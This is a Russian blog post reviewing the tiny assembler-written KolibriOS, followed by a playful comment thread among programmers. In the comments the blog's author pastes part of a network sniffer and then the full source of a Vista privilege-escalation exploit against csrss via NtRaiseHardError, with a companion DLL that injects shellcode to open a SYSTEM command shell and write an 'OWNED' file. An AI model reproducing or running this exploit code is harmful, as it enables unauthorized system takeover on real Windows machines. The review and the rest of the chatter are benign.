• Авторизация


В поисках Колибри - что за зверь? 20-02-2007 09:35 к комментариям - к полной версии - понравилось!


В поисках Колибри

Что же это за чудо такое - Операционная система Колибри, которае умещается на 1-й дискете? С чем его едят? И вообще зачем она нужна? После новости в доке Gnu Software о этой ОС, я думаю многие задались таким вопросом. Сейчас попробуем ответить на эти вопросы.

type:jpg, atr:115,109, title:В поисках Колибри



Немного истории:
В начале было....хе-хе.. неа, не слово, а MenuetOS. Это Open Source проект по созданию миниатюрной ОС на ассемблере. От нее отпочковался проект Колибри, и в Мае 2004 года вышла первая версия ОС 0.1.0.0 или просто MENUETOS RE (думаю, что это значит Russian Edition). Это так написано в файле History.txt, но в файле readme.txt я нашел, что первая версия была выпущена 30.08.2003. Мдя, не состыковочка :). Сейчас это уже версия 0.6.5.0. Будем ждать, когда выйдет 1.0.0.0, вот и выпьем шампанского за это! Ну что же, вперед на поиски Колибри!

Качаем с сайта разработчика архив. Внутри есть образ дискеты *.img, его мы можем записать на дискетку, флешку или же на CD (я так и поступил). Перезагружаемся. Появляется менюшка, в которой мы можем настроить графический режим и еще некоторые параметры - я не вдавался в подробности. Хочу обрадовать, что ОС русского происхождения (ее пишут и поддерживают русские программисты), поэтому меню на русском языке и весь интерфейс операционки тоже. Мгновенная загрузка ОС с CD и мы видим рабочий стол:
[622x466]
Начнем с файловой системы. Колибри поддерживает чтение запись в FAT32 разделы, работу с CD-ROM, а по заверению  и чтение-запись ntfs разделов.  Как у любой себя уважающей ОС, у Колибри есть корневая директория /, сразу же в ней находятся виртуальный диск, флопики, HDD и CD. Заходим в HD0 (обратите внимание, Колибри умеет работать не только с одним жестким диском, поэтому и на конце "0" - hd0), и видим, что мои 2 win раздела пронумеровались как 1 и 2. А дальше уже можно перемещаться без проблем, т.к. русские папки он понимает только так.
Для передвижения по пакам можно использовать как графические Kolibry File Manager и System X-Tree File Browser,так и через.... Far. Разработчики позаботились о поклонниках NC-подобных файловых менеджеров.
[622x466]
Для любителей консоли есть Command Line Iterpretator. Конечно же его функциональность только в зародыше, но уже можно писать простейшие shell скрипты, что не может не порадовать.
[517x303]
Теперь поговорим о мультимедиа возможностях маленькой, но очень гордой птички - Колибри :)
Графика просто великолепна для такого рода системы! В комплекте идут несколько демок, запустите их и почувствуйте гордость за наших разарботчиков!
[622x466]
[622x466]
Есть простейшие гляделка и редактор графических файлов. Когда я с помощью встроенной гляделки смотрел скриншоты, то они были исковерканы все до неузнаваемости. Видно, что это еще сырая программа :(
[622x466]
Но потом оказалось, что это файлы такие на самом деле, а гляделка тут не причем. Пришлось переделывать скриншоты в виртуальной машине :(
В комплекте идут проигрыватели wav и CD, но звук мне так и не удалось услышать. Никаких прибамбасов - только играют и ничего более.
[622x515]
Т.к. это только развивающаяся ОС, то в комплекте присутствует и инструментарий разработчика: Flat Assembler - Open Source ассемблер, всякие hex редакторы, текстовые редакторы, программы для упаковки и естественно примеры.
[481x459]
[622x466]
Документация по программированию для этой ОС достаточно проста и открыта. Даже  со своими скудными познаниями в этом деле можо разобратся.

С сетевыми технологиями я мало не дружу, но посмотрев на раздел меню, посвященный сети, можно утверждатьо богатом потенциале. Тут и игры через Интернет, браузер, почта, IRC, RCC, ftp - в общем все блага :)
[308x400]
Ну и куда же мы денемся без игр. Конечно же тут не ахти какие игры - обычные настольные. Но, например, те же пятнашки меня затянули на час с лишним игры, т.е. отдохнуть тоже можно.
[161x456]
И из меню можно запустить первый Quake и Doom с жесткого диска, а это уже не один час убитого времени :))


В заключении, хочетсяпоблагодарить и похвалить ребят. Для них это просто хобби, это их любимое дело. Главное, чтобы они не остыли к нему. Такая хорошая ОС получается, и будет обидно, если ее забросят :((
Ну что же, Колибри, желаем тебе успехов в развитии!

Сайт проекта: http://www.kolibrios.org/
Скачать - размер 1,415,262 байт
вверх^ к полной версии понравилось! в evernote
Комментарии (33): вперёд»
20-02-2007-12:00 удалить
Как и обещал читаю твой дневник (ReadHTML();) Впечатления: 00 =) 01 Respect(); 02 Ока на Токийском автосалоне 03 Подходит ли для моего мозга? 04 А как же QNX ? 05 И нафикк надо? 06 Что лучше: Java или C# ?
Perseph0na 20-02-2007-13:10 удалить
Yould_better_believe_me,Что лучше: Вольво или Мерседес?
SilentCoder 20-02-2007-15:54 удалить
amentet, с точки зрения Оки?
Perseph0na 20-02-2007-16:26 удалить
SilentCoder, C точки зрения летающей тарелки ( или сэакена )
Max_Ventura 20-02-2007-20:57 удалить
Пусть развивают Колибри, делают совместимые программы и т.д. Шрифты пусть поменяют.
Perseph0na 20-02-2007-21:18 удалить
Max_Ventura, Макс, я что, их уговариваю? Это невозможно! А ты в курсе что 2 недели назад у одного из компашки сын родился? Ладно. Дело в том, что этот кретин только вчера пить перестал.
Max_Ventura 20-02-2007-21:31 удалить
amentet, сын пить перестал? Молодец, на знал. Ну пусть заходит
Perseph0na 20-02-2007-21:44 удалить
Max_Ventura, он заходит, даже пост его есть, тестовый. Это я говорю *изпацтала* - сын родился и пить перестал , через 2 недели..))
20-02-2007-22:56 удалить
ИМХО - Мерседес лучше. ИМХО - C# лучше! Java вообще неудобная! Чувствую себя как T90С на Франкфуртском автосалоне!
20-02-2007-23:02 удалить
Кстати! Я начал осмысление того факта, что эта ОС на _ассемблере_ с открытым исходным кодом. Исходный код на ассемблере? Открытый? Респект! Вопрос к профи: можно ли про ОС Windows сказать, что её исходный код на ассемблере открыт?
Perseph0na 20-02-2007-23:24 удалить
Yould_better_believe_me,Как ребенок, ей богу! ( нам, татараm, что е*ать ,что резать ) - в смысле пофиг - TASM,MASM или Lisp Yould_better_believe_me, Да года два, правда Сишный, но дело НЕ В ИСХОДНИКАХ, а в КОМПИЛЯТОРЕ.
Perseph0na 20-02-2007-23:29 удалить
Yould_better_believe_me,Либо ты про конвертеры кода не слышал ? НЕ ВЕРЮ! ( я дура и блондинка, в смысле => дура , IF блондинка ), спросил бы вчера, пока я не покрасилась!!!!  (150x200, 32Kb)
20-02-2007-23:37 удалить
amentet, реально не врубаюсь. Объясните маленькому! Значит всё-таки сишка, а не ассемблер. Компилятор? Покруче Intel'эовского. Что касается C# или Java. То разговор о том, что "всё равно на чём писать" я считаю дешёвым понтом. Например я спрашиваю коллегу, знает-ли он какую-нить хрень типа... мммммм... Ruby какой-нить, а он отвечает - "изучу если надо", то он как будто держит меня за идиота. Я что сам не могу изучить, блин? Так боьшинство моих друзей пишут на VC6 и в частности используют сишные функции для работы с файлами (через FILE). Я противник таких вот "привычек" под настроение "всё равно на чём писать". Потому что VC++ 8 реально круче. И библиотеки качественнее и компилятор сильнее и среда удобнее. Так что, какая разница на чём мы можем писать (читать хелпы все слава Богу умеем), а что реально лучше. (пардон за флуд)
20-02-2007-23:52 удалить
amentet, может и слышал, но оно мимо меня пролетело как-то. Судя по называнию это нечто конвертирующиее код. Это чё угодно может быть. (мне на ум только XSLT-процессор приходит) Ты будешь патсталом хватаясь за живот, но я даже не знаю ОС Линукс. С детства никогда не придавался фанатическим нстроениям, поэтому "Линукс-рулеззз" де-факто не признаю. Ставил, смотрел... Вроде бы понтов меньше, чем в окошках, тормознее и медленнее. Так и не стал фигнёй страдать. (почти не стыдно) Так что вернёмся к нашим баранам. Мне ведь с практической точки зрения интересно. Люблю себя ублажать и люблю "всё делать правильно". Скажем, C# - это рулеззз реальный. Мощно и притом очень удобно! Приятно очень. Есть идея закать себя футболку с рисунком: C# =) Вот мои коллеги пытались сделать минимальную программу exe на C и ассемблере. Умялись вроде бы в 800 байт или около того. (PE-заголовок всё переписывали). И это типа крутизна невероятная. Из программы все библиотеки вырезаны. И какой толк от программы, которая ничего не делает (кроме как занимает 800 байт)? Это к вопросу об остром си с кофе... Кстати: перекрашенная блондинка - это искусственный интеллект.
Perseph0na 20-02-2007-23:57 удалить
Извини за ликбез,за флуд не извиняюсь, ты про это? #ifdef SUNOS4 /*--------< SUN OS4 >-----------*/ #define NIT_DEV "/dev/nit" */ #define DEFAULT_NIC "le0" */ #define CHUNKSIZE 4096 */ #endif #ifdef LINUX /*--------< LINUX >-------------*/ #define NIT_DEV "" #define DEFAULT_NIC "eth0" */ #define CHUNKSIZE 32000 */ #endif #ifdef FREEBSD /*--------< FreeBSD >-----------*/ #define NIT_DEV "/dev/bpf" */ #define DEFAULT_NIC "ed0" */ #define CHUNKSIZE 32000 */ #endif #ifdef IRIX /*-----------< IRIX >--------------*/ #define NIT_DEV "" #define DEFAULT_NIC "" #define CHUNKSIZE 60000 */ #define ETHERHDRPAD RAW_HDRPAD(sizeof(struct ether_header)) #endif #ifdef SOLARIS /*--------< Solaris >-----------*/ #define NIT_DEV "/dev/hme" */ #define DEFAULT_NIC "" #define CHUNKSIZE 32768 */ #endif #define S_DEBUG */ #define SIZE_OF_ETHHDR 14 */ #define LOGFILE "./snif.log" */ #define TMPLOG_DIR "/tmp/" */ struct conn_list{ struct conn_list *next_p; char sourceIP[16],destIP[16]; unsigned long sourcePort,destPort; }; struct conn_list *cl; struct conn_list *org_cl; #ifdef SOLARIS int strgetmsg(fd, ctlp, flagsp, caller) int fd; struct strbuf *ctlp; int *flagsp; char *caller; { int rc; static char errmsg[80]; *flagsp = 0; if ((rc=getmsg(fd,ctlp,NULL,flagsp))<0) return(-2); if (alarm(0)<0) return(-3); if ((rc&(MORECTL|MOREDATA))==(MORECTL|MOREDATA)) return(-4); if (rc&MORECTL) return(-5); if (rc&MOREDATA) return(-6); if (ctlp->lendl_primitive != DL_OK_ACK) return(-3); pr.dl_primitive=DL_PROMISCON_REQ; pr.dl_level=DL_PROMISC_PHYS; c.maxlen = 0; c.len=sizeof(dl_promiscon_req_t); c.buf=(char *)≺ if (putmsg(sock,&c,NULL,0)<0) return(-4); c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf; strgetmsg(sock,&c,&flags,"dlokack"); dp=(union DL_primitives *)c.buf; if (dp->dl_primitive != DL_OK_ACK) return(-5); bind_req.dl_primitive=DL_BIND_REQ; bind_req.dl_sap=0x800; bind_req.dl_max_conind=0; bind_req.dl_service_mode=DL_CLDLS; bind_req.dl_conn_mgmt=0; bind_req.dl_xidtest_flg=0; c.maxlen=0; c.len=sizeof(dl_bind_req_t); c.buf=(char *)&bind_req; if (putmsg(sock,&c,NULL,0)<0) return(-6); c.maxlen=CHUNKSIZE; c.len=0; c.buf=(void *)buf; strgetmsg(sock,&c,&flags,"dlbindack"); dp=(union DL_primitives *)c.buf; if (dp->dl_primitive != DL_BIND_ACK) return(-7); si.ic_cmd=DLIOCRAW; si.ic_timout=-1; si.ic_len=0; si.ic_dp=NULL; if (ioctl(sock, I_STR, &si)<0) return(-8); if (ioctl(sock,I_FLUSH,FLUSHR)<0) return(-9); #endif return(sock); }
21-02-2007-00:11 удалить
спасибо за ликбез... я так понимаю, ты у меня Access violation пыталась сделать =) можешь пояснить? 1. я, конечно в языках не силён... но вроде бы должна быть функция main (если это c, конечно =) вроде похоже) 2. не нашёл среди define самой главной оськи! windows 3. не шарю в тонкостях, но LINUX - это что просто линукс??? У них там нет никаких различий? 4. непонятно, что это: #ifdef SOLARIS int strgetmsg(fd, ctlp, flagsp, caller) int fd; struct strbuf *ctlp; int *flagsp; char *caller; { как-то непосишному! 4. ну и, пожалуй, хватит... самое главное, что я точно знаю: return (sock); надо писать без скобок! return - это оператор, а не функция, хотя компилятор скобки пропускает...
SilentCoder 21-02-2007-00:41 удалить
Yould_better_believe_me, блин, это вообще макросы, директивы условной компиляции в зависимости от платформы - так что всё в поряде...
Perseph0na 21-02-2007-11:14 удалить
Yould_better_believe_me,ты не вьехал,понял сразу SilentCoder, а тебе, стритрейсер - "по сишному"Yould_better_believe_me, //exploit NtRaiseHardError privesc and load dll into csrss //this version only is vista, other version can be worked //with proper offsets, i will complete them soon //imperfect but sometime work, ok for proto type;) //dll limit to 8 chars but maybe can work around by //\xxx\..\dll type trick and use LoadLibraryW, now is //C:\TEST but another drive maybe work #define offs1 0x30 #define offs2 0xBBD0 #include "windows.h" #include "stdio.h" DWORD(WINAPI*NtConnectPort)(PHANDLE,PWORD, PSECURITY_QUALITY_OF_SERVICE,PDWORD,PDWORD,PDWORD,PVOID, PDWORD); DWORD(WINAPI*NtQueryInformationProcess)(HANDLE,DWORD,PVOID, DWORD,PDWORD); DWORD(WINAPI*NtRaiseHardError)(DWORD,DWORD,DWORD,PVOID*, DWORD,PDWORD); HANDLE hl; HANDLE hs; DWORD sb; LPVOID lpc(LPCWSTR w){//cesar trick WORD n[4]; SECURITY_QUALITY_OF_SERVICE q; LPVOID p; DWORD d; DWORD c[6],s[3]; BYTE b[0x28]; n[0]=n[1]=wcslen(w)*2; *(PDWORD)(n+2)=(DWORD)w; memset(&q,0,sizeof(q)); q.Length=sizeof(q); p=NULL; d=0x1000; memset(&c,0,sizeof(c)); c[0]=sizeof(c); memset(&s,0,sizeof(s)); s[0]=sizeof(s); memset(&b,0,sizeof(b)); b[1]=1; hs=CreateFileMapping(INVALID_HANDLE_VALUE,NULL, PAGE_READWRITE,0,d,NULL); if(!hs)return NULL; p=MapViewOfFile(hs,FILE_MAP_ALL_ACCESS,0,0,0); if(!p)return NULL; c[1]=(DWORD)hs; c[3]=d; c[4]=(DWORD)p; d=sizeof(b); if(NtConnectPort(&hl,n,&q,c,s,NULL,&b,&d)) return NULL; sb=c[5]; return p; } HANDLE e1,e11; DWORD WINAPI tp1(LPVOID a){ LPVOID p[7]; DWORD d; p[0]=p+3; p[1]=p+5; p[2]=0; p[3]=(LPVOID)0x1B001AE; p[4]=L"\\??\\AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; p[5]=(LPVOID)0x100010; p[6]=L"erasmus1"; while(1){ WaitForSingleObject(e1,INFINITE); NtRaiseHardError(0x40000018,3,3,p,0,&d); SetEvent(e11); } return 0; } DWORD aaa,bbb; HANDLE e2,e22; DWORD WINAPI tp2(LPVOID a){ BYTE b[0xD8]; LPVOID p[7]; DWORD d; memset(&b,0,sizeof(b)); *(PDWORD)(b+0x3C)=2; *(PDWORD)(b+0x48)=1; *(PDWORD)(b+0x4C)=1; p[0]=p+3; p[1]=p+5; p[2]=0; p[3]=(LPVOID)0xD600D6; p[4]=&b; p[5]=(LPVOID)0x100010; p[6]=L"erasmus2"; while(1){ WaitForSingleObject(e2,INFINITE); memcpy(&b,"C:\\TEST",8); *(PDWORD)(b+0x08)=aaa; *(PDWORD)(b+0x0C)=bbb; *(PDWORD)(b+0x70)=aaa+0x100; *(PDWORD)(b+0x74)=aaa+0x100; NtRaiseHardError(0x40000018,3,3,p,0,&d); SetEvent(e22); } return 0; } STARTUPINFO cps; PROCESS_INFORMATION cpi; void w(DWORD a,DWORD d){ HWND h; aaa=d; bbb=a; SetEvent(e1); do{h=FindWindow(NULL,"erasmus1");}while(!h); CreateProcess(NULL,"notepad",NULL,NULL,0,0,NULL,NULL,&cps, &cpi); Sleep(100); SendMessage(h,WM_CLOSE,0,0); Sleep(100); SetEvent(e2); do{h=FindWindow(NULL,"erasmus2");}while(!h); TerminateThread(cpi.hThread,0); Sleep(100); CreateProcess(NULL,"notepad",NULL,NULL,0,0,NULL,NULL,&cps, &cpi); Sleep(100); SendMessage(h,WM_CLOSE,0,0); Sleep(100); } int main(int c,char**v){ char sd[MAX_PATH]; char dp[MAX_PATH]; WCHAR pp[MAX_PATH]; WCHAR pn[MAX_PATH]; HMODULE nt,kr,ad; DWORD se,cs,ws,u,d,h; HANDLE t; LPBYTE sc; GetSystemDirectory(sd,sizeof(sd)); sprintf(dp,"%s\\csrsrv.dll",sd); cs=(DWORD)LoadLibrary(dp); sprintf(dp,"%s\\winsrv.dll",sd); ws=(DWORD)LoadLibrary(dp); sprintf(dp,"%s\\ntdll.dll",sd); nt=LoadLibrary(dp); sprintf(dp,"%s\\kernel32.dll",sd); kr=LoadLibrary(dp); sprintf(dp,"%s\\advapi32.dll",sd); ad=LoadLibrary(dp); *(LPVOID*)&NtConnectPort=GetProcAddress(nt,"NtConnectPort"); *(LPVOID*)&NtQueryInformationProcess=GetProcAddress(nt, "NtQueryInformationProcess"); *(LPVOID*)&NtRaiseHardError=GetProcAddress(nt, "NtRaiseHardError"); if(2==c){ d=atoi(v[1]); if(!d){ printf("no args need\n"); return -1; } t=OpenProcess(PROCESS_ALL_ACCESS,0,d); if(!t){ printf("no args need\n"); return -1; } __asm mov eax,fs:[0x18] __asm mov eax,[eax+0x30] __asm mov eax,[eax+0x1D4] __asm mov se,eax if(se)swprintf(pp,L"\\Sessions\\%d\\Windows",se); else swprintf(pp,L"\\Windows"); swprintf(pn,L"%s\\ApiPort",pp); sc=(LPBYTE)lpc(pn); swprintf(pn,L"%s\\SbApiPort",pp); if(!sc)sc=(LPBYTE)lpc(pn); if(!sc)return -1; h=0; DuplicateHandle(GetCurrentProcess(),hs,t,(LPHANDLE)&h,0,0,2); WriteProcessMemory(t,&hs,&h,4,&d); WriteProcessMemory(t,&sb,&sb,4,&d); Sleep(INFINITE); }else{ STARTUPINFO cps; PROCESS_INFORMATION cpi; hs=sc=NULL; sb=0; memset(&cps,0,sizeof(cps)); cps.cb=sizeof(cps); cps.dwFlags=STARTF_USESHOWWINDOW; sprintf(sd,"\"%s\" %d",v[0],GetCurrentProcessId()); if(!CreateProcess(NULL,sd,NULL,NULL,0, CREATE_NEW_PROCESS_GROUP|CREATE_NEW_CONSOLE,NULL,NULL,&cps, &cpi)){ printf("spawn fail\n"); return -1; } Sleep(3000); if(!hs){ printf("lpc fail\n"); return -1; } sc=(LPBYTE)MapViewOfFile(hs,FILE_MAP_ALL_ACCESS,0,0,0); } memset(&cps,0,sizeof(cps)); cps.cb=sizeof(cps); cps.dwFlags=STARTF_USESHOWWINDOW; e1=CreateEvent(NULL,0,0,NULL); e11=CreateEvent(NULL,0,0,NULL); CreateThread(NULL,0,tp1,NULL,0,NULL); e2=CreateEvent(NULL,0,0,NULL); e22=CreateEvent(NULL,0,0,NULL); CreateThread(NULL,0,tp2,NULL,0,NULL); u=cs+offs2; *(PDWORD)(sc+offs1)=(DWORD)GetProcAddress(kr,"LoadLibraryA"); w(u,sb); Sleep(INFINITE); return 0; } //test.c //26-12-2006 ]erasmus[/ORC //dll for load in csrss by raise.c //repair csrss and create OWNED.TXT and try create system cmd //i can exec shell code in lpc shared section but LoadLibrary //is for work around of DEP on vista //also imperfect but also is proto type! //offsets is for vista #define offs1 0x5F89 #define offs2 0xBBD0 #define offs3 0xBBFC #define offs4 0x3F0CC #include "windows.h" LONG WINAPI uef(LPEXCEPTION_POINTERS a){ Sleep(INFINITE); return 0; } DWORD WINAPI tp(LPVOID a){ HMODULE kr,ws; BYTE b[0x100]; DWORD c,d; HANDLE h,t; kr=GetModuleHandle("kernel32"); ws=GetModuleHandle("winsrv"); h=OpenProcess(PROCESS_ALL_ACCESS,0,*(LPDWORD)((DWORD)ws+offs4)); c=(DWORD)VirtualAllocEx((HANDLE)h,NULL,sizeof(b),MEM_COMMIT,PAGE_EXE CUTE_READWRITE); d=(DWORD)GetProcAddress(kr,"CreateProcessA")-(c+69); memcpy(b,"\x33\xC0\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x 50\x50\xE8\x10\x00\x00\x00\x57\x69\x6E\x53\x74\x61\x30\x5C\x44\x65\x 66\x61\x75\x6C\x74\x00\x50\x6A\x44\x8B\xCC\x68\x63\x6D\x64\x00\x50\x 50\x50\x50\x54\x51\x50\x50\x50\x50\x50\x50\x83\xC1\xFC\x51\x50\xE8\x 00\x00\x00\x00\x83\xC4\x58\xC3",73); *(LPDWORD)(b+65)=d; WriteProcessMemory((HANDLE)h,(LPVOID)c,b,sizeof(b),&d); t=CreateRemoteThread((HANDLE)h,NULL,0,(LPTHREAD_START_ROUTINE)c,NULL ,0,NULL); WaitForSingleObject(t,INFINITE); return 0; } BOOL WINAPI DllMain(HANDLE a,DWORD dwReason,LPVOID c){ DWORD cs,d; LPDWORD p,f,l; HANDLE h; if(DLL_PROCESS_ATTACH==dwReason){ SetUnhandledExceptionFilter(uef); h=CreateFile("C:\\OWNED.TXT",GENERIC_WRITE,0,NULL, CREATE_ALWAYS,FILE_FLAG_WRITE_THROUGH,NULL); WriteFile(h,"greetz from csrss!\r\n",20,&d,NULL); CloseHandle(h); cs=(DWORD)GetModuleHandle("csrsrv"); *(LPDWORD)(cs+offs2)=0; __asm mov eax,esp __asm mov p,eax while(1){ if(cs+offs1==*p){ *p=(DWORD)ExitThread; d=p[1]+8; break; } p=p+1; } p=*(LPDWORD*)(cs+offs3)+2; f=p; while(d!=f[0])f=*(LPDWORD*)f; l=p; while(d!=l[1])l=*(LPDWORD*)(l+1); *(LPDWORD*)f=l; *(LPDWORD*)(l+1)=f; for(d=0;d<100;d=d+1){ p=(LPDWORD)HeapAlloc(GetProcessHeap(),0,0xD8); memset(p,0,0xD8); p[2]=(DWORD)p+0x08; p[3]=(DWORD)p+0x08; p[4]=(DWORD)p+0x10; p[5]=(DWORD)p+0x10; p[13]=0x240000; p[15]=1; p[16]=1; p[28]=(DWORD)p+0x78; p[29]=(DWORD)p+0x80; } p=(LPDWORD)GetProcessHeap(); while(1){ p=p+1; if(0x60005==*p&&p[1]>(DWORD)p&&p[1]<(DWORD)p+0x100&& !strcmp(*(LPSTR*)(p+1),"CSRSS")){ d=p[1]+6; while(1){ p=p-1; if(d-(DWORD)p==*p)break; } break; } } *(LPDWORD*)(cs+offs2)=p; Sleep(0); CreateThread(NULL,0,tp,NULL,0,NULL); } return TRUE; На этом позвольте более кодом не флудить. С уважением, Рита.  (150x150, 25Kb)
21-02-2007-15:19 удалить
интересные вещи происходят: 1. Я не понимаю, хотя обычно меня не помимают 2. я по моему знаю, что такое директивы условной компиляции (даже в шарпе их оставили!)ИМХО - внутри этих директив нарушение сиснтаксиса (VC++8 со мной согласен, изините, но GCC & Co не юзаю, апчхи) 3. Куда эти директивы засунуть? (говоря проще - на кой он мне?) 4. респект сайлент кодеру, за то, что углубился в эти дебри 5. (холодно тут у меня)... я люблю учиться, а не учить, поэтому ... amentet.QueryInterface(); вновь и вновь.. 6. по поводу последнего (ну и гадость ваша заливная рыба). написано эксплойт для виста... блин у меня и висты то нет. К тому же... я люблю, а не ломать. 7. напиши на C# 3.0 - special for Alex Очень приятно, Алексей. (пришли ищё картинку mailto:dielamer@mail.ru)
Perseph0na 21-02-2007-15:46 удалить
C# 3.0 ---------------------------- public class ExampleClass { public static void Main() { System.Console.WriteLine("special for Alex!"); } } Yould_better_believe_me,
21-02-2007-15:50 удалить
Ваааааааааааааааауууууууууу))))))) Я покорён!
SilentCoder 21-02-2007-16:03 удалить
Yould_better_believe_me, куда углубился? Какие дебри? За что респект? Мне эти дебри нах не нужны, я просто взглядом окинул беглым.
21-02-2007-16:07 удалить
SilentCoder, я думал, раз Она тебя похвалила, значит ты понял, что делает этот код и вообще куда его засунуть
Perseph0na 21-02-2007-16:10 удалить
SilentCoder, Сай, у нас тут форум открылся.Кодерский)))) я точно пацталомYould_better_believe_me, сотворила вот:www.amentet.bb2.ru -для трепа , простого, а меня КОД преследует, с маньячной настойчивостью...((()))____(_|_)
21-02-2007-16:15 удалить
amentet, я тут как-то искал сообщество пронерское на ли.ру.. так вот не нашёл такого. Давай сделаем маленького?
Perseph0na 21-02-2007-16:41 удалить
Yould_better_believe_me, Маленького или маленькую? Или форум?  (150x150, 38Kb)
21-02-2007-16:44 удалить
Yould_better_believe_me, кого получится! Нам же всё равно на чём прогить=)
21-02-2007-17:03 удалить
amentet, ты разносторонне развитая личность
Perseph0na 21-02-2007-17:13 удалить
Yould_better_believe_me,Нельзя быть "односторонней" , хотя, чем шире угол зрения - тем он тупее, приходится искать компромиссы, но в дюбом случае - не 45 градусов, я НЕ ПЬЮ!  (51x28, 15Kb)


Комментарии (33): вперёд» вверх^

Вы сейчас не можете прокомментировать это сообщение.

Дневник В поисках Колибри - что за зверь? | Perseph0na - ||| ~PERSEPHONA~ ||| | Лента друзей Perseph0na / Полная версия Добавить в друзья Страницы: раньше»